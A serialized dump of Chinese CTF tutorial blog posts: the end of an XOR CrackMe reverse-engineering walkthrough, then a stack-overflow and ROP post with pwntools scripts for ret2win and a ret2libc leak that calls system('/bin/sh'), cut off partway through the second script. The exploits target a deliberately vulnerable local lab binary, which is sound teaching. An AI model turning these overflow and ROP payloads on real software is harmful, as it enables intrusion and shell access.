./ghidraRun\n",[26,8265,8266,8276,8286],{"__ignoreMap":24},[29,8267,8268,8270,8272,8274],{"class":31,"line":32},[29,8269,1227],{"class":161},[29,8271,1230],{"class":169},[29,8273,1835],{"class":169},[29,8275,1838],{"class":169},[29,8277,8278,8280,8282,8284],{"class":31,"line":38},[29,8279,1843],{"class":161},[29,8281,1846],{"class":169},[29,8283,1850],{"class":1849},[29,8285,1853],{"class":169},[29,8287,8288,8290,8292,8294,8297,8299,8301,8303,8305,8307,8309],{"class":31,"line":104},[29,8289,1858],{"class":161},[29,8291,1861],{"class":169},[29,8293,1850],{"class":1849},[29,8295,8296],{"class":169},".zip",[29,8298,1881],{"class":1189},[29,8300,1871],{"class":1870},[29,8302,1861],{"class":169},[29,8304,1850],{"class":1849},[29,8306,1878],{"class":169},[29,8308,1881],{"class":1189},[29,8310,1884],{"class":161},[15,8312,8313,8314,389],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[26,8315,1656],{},[15,8317,1910],{},[19,8319,8320],{"className":21,"code":2304,"language":23,"meta":24,"style":24},[26,8321,8322],{"__ignoreMap":24},[29,8323,8324],{"class":31,"line":32},[29,8325,2304],{},[15,8327,8328],{},"得到逆运算关系：",[19,8330,8333],{"className":8331,"code":8332,"language":211,"meta":24},[209],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[26,8334,8332],{"__ignoreMap":24},[10,8336,1942],{"id":1941},[19,8338,8340],{"className":152,"code":8339,"language":154,"meta":24,"style":24},"gdb ./crackme\n",[26,8341,8342],{"__ignoreMap":24},[29,8343,8344,8346],{"class":31,"line":32},[29,8345,1969],{"class":161},[29,8347,8348],{"class":169}," ./crackme\n",[19,8350,8352],{"className":1981,"code":8351,"language":1969,"meta":24,"style":24},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[26,8353,8354,8358],{"__ignoreMap":24},[29,8355,8356],{"class":31,"line":32},[29,8357,1982],{},[29,8359,8360],{"class":31,"line":38},[29,8361,8362],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8364,385],{},[19,8366,8368],{"className":8367,"code":1994,"language":211,"meta":24},[209],[26,8369,1994],{"__ignoreMap":24},[19,8371,8373],{"className":1981,"code":8372,"language":1969,"meta":24,"style":24},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,8374,8375],{"__ignoreMap":24},[29,8376,8377],{"class":31,"line":32},[29,8378,8372],{},[15,8380,385],{},[19,8382,8384],{"className":8383,"code":2015,"language":211,"meta":24},[209],[26,8385,2015],{"__ignoreMap":24},[15,8387,8388],{},"查看 enc 数组（地址在反汇编中确定）：",[19,8390,8392],{"className":1981,"code":8391,"language":1969,"meta":24,"style":24},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[26,8393,8394,8399],{"__ignoreMap":24},[29,8395,8396],{"class":31,"line":32},[29,8397,8398],{},"(gdb) x/24bx 0x5555555551e0\n",[29,8400,8401],{"class":31,"line":38},[29,8402,8403],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8405,385],{},[19,8407,8410],{"className":8408,"code":8409,"language":211,"meta":24},[209],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[26,8411,8409],{"__ignoreMap":24},[15,8413,8414],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8416,8418],{"id":8417},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8420,8421,8423],{},[187,8422,189],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8425,8426,8428,8429,8432,8433,8436,8437,8440],{},[187,8427,255],{},"：因为 ",[26,8430,8431],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[26,8434,8435],{},"key[i%3]"," 得 ",[26,8438,8439],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[19,8442,8444],{"className":311,"code":8443,"language":313,"meta":24,"style":24},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[26,8445,8446,8450,8454,8458,8463,8467,8472,8477,8482,8487,8492,8496],{"__ignoreMap":24},[29,8447,8448],{"class":31,"line":32},[29,8449,2338],{},[29,8451,8452],{"class":31,"line":38},[29,8453,2343],{},[29,8455,8456],{"class":31,"line":104},[29,8457,2348],{},[29,8459,8460],{"class":31,"line":110},[29,8461,8462],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[29,8464,8465],{"class":31,"line":116},[29,8466,101],{"emptyLinePlaceholder":100},[29,8468,8469],{"class":31,"line":122},[29,8470,8471],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[29,8473,8474],{"class":31,"line":128},[29,8475,8476],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[29,8478,8479],{"class":31,"line":134},[29,8480,8481],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[29,8483,8484],{"class":31,"line":140},[29,8485,8486],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[29,8488,8489],{"class":31,"line":146},[29,8490,8491],{},"# bytes([...])：把整数列表转成字节串。\n",[29,8493,8494],{"class":31,"line":367},[29,8495,2388],{},[29,8497,8498],{"class":31,"line":373},[29,8499,8500],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8502,193],{},[19,8504,8506],{"className":152,"code":8505,"language":154,"meta":24,"style":24},"python3 solve.py\n",[26,8507,8508],{"__ignoreMap":24},[29,8509,8510,8512],{"class":31,"line":32},[29,8511,3179],{"class":161},[29,8513,8514],{"class":169}," solve.py\n",[15,8516,3477],{},[19,8518,8520],{"className":8519,"code":2399,"language":211,"meta":24},[209],[26,8521,2399],{"__ignoreMap":24},[15,8523,8524],{},"验证：",[19,8526,8527],{"className":152,"code":2408,"language":154,"meta":24,"style":24},[26,8528,8529],{"__ignoreMap":24},[29,8530,8531,8533],{"class":31,"line":32},[29,8532,2415],{"class":161},[29,8534,2418],{"class":169},[15,8536,3477,8537,389],{},[26,8538,1382],{},[10,8540,8542],{"id":8541},"七必学工具","七、必学工具",[455,8544,8545,8555],{},[458,8546,8547],{},[461,8548,8549,8551,8553],{},[464,8550,967],{},[464,8552,2144],{},[464,8554,5106],{},[471,8556,8557,8569,8581,8596,8613],{},[461,8558,8559,8561,8564],{},[476,8560,1283],{},[476,8562,8563],{},"看类型/是否 stripped",[476,8565,8566],{},[26,8567,8568],{},"file crackme",[461,8570,8571,8573,8576],{},[476,8572,1326],{},[476,8574,8575],{},"提取字符串、指定最小长度",[476,8577,8578],{},[26,8579,8580],{},"strings -n 3 crackme",[461,8582,8583,8585,8588],{},[476,8584,1479],{},[476,8586,8587],{},"反汇编、看数据段",[476,8589,8590,933,8593],{},[26,8591,8592],{},"objdump -d -M intel crackme",[26,8594,8595],{},"objdump -s -j .rodata crackme",[461,8597,8598,8600,8603],{},[476,8599,2199],{},[476,8601,8602],{},"断点、运行、查看内存",[476,8604,8605,933,8607,933,8610],{},[26,8606,2207],{},[26,8608,8609],{},"run xxx",[26,8611,8612],{},"x/24bx addr",[461,8614,8615,8618,8621],{},[476,8616,8617],{},"Ghidra",[476,8619,8620],{},"反编译伪代码",[476,8622,8623],{},[26,8624,8625],{},"ghidraRun",[10,8627,8629],{"id":8628},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[623,8631,8632,8639,8650,8656],{},[61,8633,8634,8636,8637,389],{},[26,8635,8580],{}," → 找到密钥 ",[26,8638,1389],{},[61,8640,8641,8643,8644,8646,8647,389],{},[26,8642,1479],{},"/Ghidra → 确认 ",[26,8645,1656],{}," 里是 ",[26,8648,8649],{},"input[i] ^ key[i%3] == enc[i]",[61,8651,8652,8653,389],{},"Python 一行异或还原 → ",[26,8654,8655],{},"ctf{reverse_engineering}",[61,8657,8658,8659,389],{},"运行验证 → ",[26,8660,1382],{},[10,8662,6649],{"id":6648},[15,8664,8665,8666,8669],{},"XOR CrackMe 的通用解法：",[187,8667,8668],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1114,8671,8672],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":24,"searchDepth":38,"depth":38,"links":8674},[8675,8676,8677,8678,8679,8680,8681,8682,8683],{"id":7748,"depth":104,"text":7749},{"id":7755,"depth":104,"text":7756},{"id":1255,"depth":104,"text":1256},{"id":8097,"depth":104,"text":8098},{"id":1941,"depth":104,"text":1942},{"id":8417,"depth":104,"text":8418},{"id":8541,"depth":104,"text":8542},{"id":8628,"depth":104,"text":8629},{"id":6648,"depth":104,"text":6649},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1132,"image":8686,"alt":8687,"tags":8688,"published":100},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[1136,2456,2232,1138],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7743,"description":8684},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":8694,"title":8695,"body":8696,"description":9777,"extension":1130,"meta":9778,"navigation":100,"ogImage":9779,"path":9783,"seo":9784,"stem":9785,"__hash__":9786},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8697,"toc":9764},[8698,8702,8717,8720,8722,8770,8772,8776,8856,8859,8878,8882,8887,8892,8904,8906,8911,8914,8969,8971,8976,8982,8985,8988,8998,9052,9054,9060,9074,9078,9083,9144,9146,9156,9158,9164,9181,9185,9191,9194,9221,9223,9229,9241,9247,9251,9258,9263,9272,9276,9282,9286,9562,9565,9571,9575,9621,9625,9685,9689,9700,9741,9743,9748,9752,9761],[10,8699,8701],{"id":8700},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8703,8704,933,8706,933,8709,8712,8713,8716],{},[26,8705,2475],{},[26,8707,8708],{},"strcpy",[26,8710,8711],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[26,8714,8715],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8718,8719],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8721,1214],{"id":1213},[19,8723,8725],{"className":152,"code":8724,"language":154,"meta":24,"style":24},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[26,8726,8727,8737,8749],{"__ignoreMap":24},[29,8728,8729,8731,8733,8735],{"class":31,"line":32},[29,8730,1227],{"class":161},[29,8732,1230],{"class":169},[29,8734,2500],{"class":169},[29,8736,2503],{"class":169},[29,8738,8739,8741,8743,8746],{"class":31,"line":38},[29,8740,2508],{"class":161},[29,8742,1230],{"class":169},[29,8744,8745],{"class":169}," pwntools",[29,8747,8748],{"class":169}," ROPgadget\n",[29,8750,8751,8753,8755,8758,8760,8762,8765,8767],{"class":31,"line":104},[29,8752,5351],{"class":161},[29,8754,5354],{"class":169},[29,8756,8757],{"class":169}," https://github.com/pwndbg/pwndbg",[29,8759,1881],{"class":1189},[29,8761,1871],{"class":1870},[29,8763,8764],{"class":169}," pwndbg",[29,8766,1881],{"class":1189},[29,8768,8769],{"class":161},"./setup.sh\n",[10,8771,2517],{"id":2516},[15,8773,8774,85],{},[26,8775,2523],{},[19,8777,8778],{"className":21,"code":2526,"language":23,"meta":24,"style":24},[26,8779,8780,8784,8788,8792,8796,8800,8804,8808,8812,8816,8820,8824,8828,8832,8836,8840,8844,8848,8852],{"__ignoreMap":24},[29,8781,8782],{"class":31,"line":32},[29,8783,95],{},[29,8785,8786],{"class":31,"line":38},[29,8787,726],{},[29,8789,8790],{"class":31,"line":104},[29,8791,101],{"emptyLinePlaceholder":100},[29,8793,8794],{"class":31,"line":110},[29,8795,735],{},[29,8797,8798],{"class":31,"line":116},[29,8799,740],{},[29,8801,8802],{"class":31,"line":122},[29,8803,149],{},[29,8805,8806],{"class":31,"line":128},[29,8807,101],{"emptyLinePlaceholder":100},[29,8809,8810],{"class":31,"line":134},[29,8811,2561],{},[29,8813,8814],{"class":31,"line":140},[29,8815,2566],{},[29,8817,8818],{"class":31,"line":146},[29,8819,2571],{},[29,8821,8822],{"class":31,"line":367},[29,8823,149],{},[29,8825,8826],{"class":31,"line":373},[29,8827,101],{"emptyLinePlaceholder":100},[29,8829,8830],{"class":31,"line":379},[29,8831,107],{},[29,8833,8834],{"class":31,"line":775},[29,8835,119],{},[29,8837,8838],{"class":31,"line":781},[29,8839,2592],{},[29,8841,8842],{"class":31,"line":786},[29,8843,2597],{},[29,8845,8846],{"class":31,"line":2600},[29,8847,2603],{},[29,8849,8850],{"class":31,"line":2606},[29,8851,143],{},[29,8853,8854],{"class":31,"line":2611},[29,8855,149],{},[15,8857,8858],{},"编译：",[19,8860,8862],{"className":152,"code":8861,"language":154,"meta":24,"style":24},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[26,8863,8864],{"__ignoreMap":24},[29,8865,8866,8868,8870,8872,8874,8876],{"class":31,"line":32},[29,8867,162],{"class":161},[29,8869,166],{"class":165},[29,8871,2630],{"class":169},[29,8873,2633],{"class":169},[29,8875,176],{"class":165},[29,8877,179],{"class":165},[10,8879,8881],{"id":8880},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8883,8884,8886],{},[187,8885,189],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8888,8889,8891],{},[187,8890,255],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[19,8893,8894],{"className":152,"code":2666,"language":154,"meta":24,"style":24},[26,8895,8896],{"__ignoreMap":24},[29,8897,8898,8900,8902],{"class":31,"line":32},[29,8899,814],{"class":161},[29,8901,817],{"class":169},[29,8903,2677],{"class":169},[15,8905,385],{},[19,8907,8909],{"className":8908,"code":2683,"language":211,"meta":24},[209],[26,8910,2683],{"__ignoreMap":24},[15,8912,8913],{},"逐行含义：",[455,8915,8916,8924],{},[458,8917,8918],{},[461,8919,8920,8922],{},[464,8921,6536],{},[464,8923,1608],{},[471,8925,8926,8936,8946,8959],{},[461,8927,8928,8933],{},[476,8929,8930],{},[26,8931,8932],{},"No canary found",[476,8934,8935],{},"无栈金丝雀，可覆盖返回地址",[461,8937,8938,8943],{},[476,8939,8940],{},[26,8941,8942],{},"NX enabled",[476,8944,8945],{},"栈不可执行，不能直接放 shellcode",[461,8947,8948,8953],{},[476,8949,8950],{},[26,8951,8952],{},"No PIE",[476,8954,8955,8956,8958],{},"程序地址固定，",[26,8957,697],{}," 地址可直接写死",[461,8960,8961,8966],{},[476,8962,8963],{},[26,8964,8965],{},"Partial RELRO",[476,8967,8968],{},"GOT 可写（本阶段用不到）",[10,8970,2749],{"id":2748},[15,8972,8973,8975],{},[26,8974,2754],{}," 栈帧自低到高：",[19,8977,8980],{"className":8978,"code":8979,"language":211,"meta":24},[209],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[26,8981,8979],{"__ignoreMap":24},[15,8983,8984],{},"偏移 = 32 + 8 = 40。",[15,8986,8987],{},"用 pwntools 验证：",[15,8989,8990,85,8992,8994,8995,8997],{},[187,8991,255],{},[26,8993,2767],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[26,8996,3115],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[19,8999,9001],{"className":311,"code":9000,"language":313,"meta":24,"style":24},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[26,9002,9003,9007,9011,9015,9019,9024,9028,9033,9037,9042,9047],{"__ignoreMap":24},[29,9004,9005],{"class":31,"line":32},[29,9006,320],{},[29,9008,9009],{"class":31,"line":38},[29,9010,101],{"emptyLinePlaceholder":100},[29,9012,9013],{"class":31,"line":104},[29,9014,2786],{},[29,9016,9017],{"class":31,"line":110},[29,9018,2791],{},[29,9020,9021],{"class":31,"line":116},[29,9022,9023],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[29,9025,9026],{"class":31,"line":122},[29,9027,2806],{},[29,9029,9030],{"class":31,"line":128},[29,9031,9032],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[29,9034,9035],{"class":31,"line":134},[29,9036,2816],{},[29,9038,9039],{"class":31,"line":140},[29,9040,9041],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[29,9043,9044],{"class":31,"line":146},[29,9045,9046],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[29,9048,9049],{"class":31,"line":367},[29,9050,9051],{},"print(\"offset =\", offset)\n",[15,9053,385],{},[19,9055,9058],{"className":9056,"code":9057,"language":211,"meta":24},[209],"offset = 40\n",[26,9059,9057],{"__ignoreMap":24},[15,9061,9062,9063,9066,9067,9070,9071,9073],{},"原理：",[26,9064,9065],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[26,9068,9069],{},"rip"," 的值必然是模式串中的 4/8 字节，",[26,9072,3115],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,9075,9077],{"id":9076},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,9079,9080,9082],{},[187,9081,189],{},"：把返回地址改成 win，验证控制流劫持成功。",[19,9084,9086],{"className":311,"code":9085,"language":313,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[26,9087,9088,9092,9096,9100,9104,9108,9112,9117,9121,9126,9131,9135,9139],{"__ignoreMap":24},[29,9089,9090],{"class":31,"line":32},[29,9091,320],{},[29,9093,9094],{"class":31,"line":38},[29,9095,101],{"emptyLinePlaceholder":100},[29,9097,9098],{"class":31,"line":104},[29,9099,2867],{},[29,9101,9102],{"class":31,"line":110},[29,9103,2786],{},[29,9105,9106],{"class":31,"line":116},[29,9107,101],{"emptyLinePlaceholder":100},[29,9109,9110],{"class":31,"line":122},[29,9111,3027],{},[29,9113,9114],{"class":31,"line":128},[29,9115,9116],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[29,9118,9119],{"class":31,"line":134},[29,9120,3042],{},[29,9122,9123],{"class":31,"line":140},[29,9124,9125],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[29,9127,9128],{"class":31,"line":146},[29,9129,9130],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[29,9132,9133],{"class":31,"line":367},[29,9134,534],{},[29,9136,9137],{"class":31,"line":373},[29,9138,907],{},[29,9140,9141],{"class":31,"line":379},[29,9142,9143],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,9145,193],{},[19,9147,9148],{"className":152,"code":3172,"language":154,"meta":24,"style":24},[26,9149,9150],{"__ignoreMap":24},[29,9151,9152,9154],{"class":31,"line":32},[29,9153,3179],{"class":161},[29,9155,3182],{"class":169},[15,9157,3068],{},[19,9159,9162],{"className":9160,"code":9161,"language":211,"meta":24},[209],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[26,9163,9161],{"__ignoreMap":24},[15,9165,621,9166,9168,9169,3348,9171,2076,9173,9175,9176,3348,9178,9180],{},[26,9167,2475],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[26,9170,697],{},[26,9172,2754],{},[26,9174,8715],{}," 跳到 ",[26,9177,697],{},[26,9179,3083],{}," 弹 shell。",[10,9182,9184],{"id":9183},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,9186,9187,9188,9190],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[26,9189,8715],{}," 结尾的指令片段（gadget）串起来执行。",[15,9192,9193],{},"找 gadget：",[19,9195,9197],{"className":152,"code":9196,"language":154,"meta":24,"style":24},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[26,9198,9199],{"__ignoreMap":24},[29,9200,9201,9204,9207,9210,9212,9214,9216,9219],{"class":31,"line":32},[29,9202,9203],{"class":161},"ROPgadget",[29,9205,9206],{"class":165}," --binary",[29,9208,9209],{"class":169}," ./vuln",[29,9211,1514],{"class":1182},[29,9213,1517],{"class":161},[29,9215,5527],{"class":1526},[29,9217,9218],{"class":169},"pop rdi",[29,9220,5533],{"class":1526},[15,9222,385],{},[19,9224,9227],{"className":9225,"code":9226,"language":211,"meta":24},[209],"0x0000000000401233 : pop rdi ; ret\n",[26,9228,9226],{"__ignoreMap":24},[15,9230,9231,9234,9235,9237,9238,9240],{},[26,9232,9233],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[26,9236,402],{},"（x86-64 的第一个参数寄存器），然后 ",[26,9239,8715],{}," 跳到下个地址。栈上布局：",[19,9242,9245],{"className":9243,"code":9244,"language":211,"meta":24},[209],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[26,9246,9244],{"__ignoreMap":24},[10,9248,9250],{"id":9249},"八进阶ret2libc","八、进阶：ret2libc",[15,9252,9253,9255,9256,389],{},[187,9254,189],{},"：程序内没有目标函数时，改调 libc 的 ",[26,9257,3083],{},[15,9259,9260,9262],{},[187,9261,255],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,9264,9265,9266,9268,9269,9271],{},"程序里没有 ",[26,9267,697],{}," 时，改调 libc 里的 ",[26,9270,3083],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[1268,9273,9275],{"id":9274},"_81-原理","8.1 原理",[19,9277,9280],{"className":9278,"code":9279,"language":211,"meta":24},[209],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[26,9281,9279],{"__ignoreMap":24},[1268,9283,9285],{"id":9284},"_82-完整脚本","8.2 完整脚本",[19,9287,9289],{"className":311,"code":9288,"language":313,"meta":24,"style":24},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[26,9290,9291,9295,9299,9304,9309,9313,9317,9322,9327,9331,9335,9339,9344,9349,9353,9358,9363,9368,9373,9378,9383,9388,9393,9398,9403,9408,9412,9416,9421,9425,9430,9435,9440,9445,9450,9454,9459,9464,9469,9475,9481,9486,9492,9498,9504,9510,9516,9522,9528,9534,9540,9545,9551,9557],{"__ignoreMap":24},[29,9292,9293],{"class":31,"line":32},[29,9294,320],{},[29,9296,9297],{"class":31,"line":38},[29,9298,101],{"emptyLinePlaceholder":100},[29,9300,9301],{"class":31,"line":104},[29,9302,9303],{},"context.log_level = 'error'\n",[29,9305,9306],{"class":31,"line":110},[29,9307,9308],{},"# 只显示错误，减少调试信息刷屏。\n",[29,9310,9311],{"class":31,"line":116},[29,9312,101],{"emptyLinePlaceholder":100},[29,9314,9315],{"class":31,"line":122},[29,9316,2867],{},[29,9318,9319],{"class":31,"line":128},[29,9320,9321],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[29,9323,9324],{"class":31,"line":134},[29,9325,9326],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[29,9328,9329],{"class":31,"line":140},[29,9330,2786],{},[29,9332,9333],{"class":31,"line":146},[29,9334,101],{"emptyLinePlaceholder":100},[29,9336,9337],{"class":31,"line":367},[29,9338,9057],{},[29,9340,9341],{"class":31,"line":373},[29,9342,9343],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[29,9345,9346],{"class":31,"line":379},[29,9347,9348],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[29,9350,9351],{"class":31,"line":775},[29,9352,101],{"emptyLinePlaceholder":100},[29,9354,9355],{"class":31,"line":781},[29,9356,9357],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[29,9359,9360],{"class":31,"line":786},[29,9361,9362],{},"payload1 = b'A' * offset\n",[29,9364,9365],{"class":31,"line":2600},[29,9366,9367],{},"payload1 += p64(ret)\n",[29,9369,9370],{"class":31,"line":2606},[29,9371,9372],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[29,9374,9375],{"class":31,"line":2611},[29,9376,9377],{},"payload1 += p64(pop_rdi)\n",[29,9379,9380],{"class":31,"line":4025},[29,9381,9382],{},"payload1 += p64(elf.got['puts'])\n",[29,9384,9385],{"class":31,"line":4031},[29,9386,9387],{},"# got['puts']：GOT 